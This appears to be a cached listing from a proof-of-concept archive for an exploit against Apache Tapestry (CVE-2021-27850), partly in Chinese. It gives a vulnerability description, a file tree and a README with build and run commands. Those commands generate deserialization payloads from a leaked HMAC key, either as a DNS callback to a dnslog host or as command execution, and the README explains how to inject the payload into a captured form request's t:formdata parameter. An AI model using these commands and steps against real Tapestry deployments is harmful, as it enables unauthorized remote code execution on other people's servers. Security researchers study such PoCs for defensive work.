CVE-2021-27850 PoC — Apache Tapestry 代码问题漏洞

Source

https://github.com/Ovi3/CVE_2021_27850_POC

Associated Vulnerability

Title:Apache Tapestry 代码问题漏洞 (CVE-2021-27850)
Description:Apache Tapestry是美国阿帕奇（Apache）基金会的一款使用Java语言编写的Web应用程序框架。 Apache Tapestry 5.7.0, upgrade to 5.7.1 or later 存在安全漏洞，攻击者可利用该漏洞可以通过请求URL“http: localhost:8080 assets something services AppModule.class”下载文件“AppModule.class”，该URL包含一个HMAC密钥。

Description

Apache Tapestry CVE-2021-27850 PoC

Readme


## 命令使用
```bash
git clone https://github.com/Ovi3/CVE_2021_27850_POC.git
cd CVE_2021_27850_POC/
gradlew runnbaleJar

java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar
[Usage]:
        java TapestryExploit [Tapestry Key] DNS [URL]
        java TapestryExploit [Tapestry Key] CB2 [Command]

# 假设 hmac key为 change this immediately 
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" DNS "http://xxx.dnslog.cn"
java -jar ./build/libs/CVE_2021_27850_POC-1.0-SNAPSHOT.jar "change this immediately" CB2 "calc"
```

## 漏洞复现
访问Tapestry应用，触发一个POST请求（如登录请求），抓包，修改`t:formdata`参数值为上面生成的payload

File Snapshot


 [4.0K]  /data/pocs/983d07bebeedeb342ffe1c1521b3ac2262a1e0d6
├── [ 770]  build.gradle
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 200]  gradle-wrapper.properties
├── [5.6K]  gradlew
├── [2.6K]  gradlew.bat
├── [ 712]  README.md
├── [  41]  settings.gradle
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  tapestry
        │           └── [4.0K]  poc
        │               ├── [3.1K]  CommonsBeanutils2.java
        │               └── [5.4K]  TapestryExploit.java
        └── [4.0K]  resources
            └── [ 57M]  ysoserial-master-d367e379d9-1.jar

9 directories, 10 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!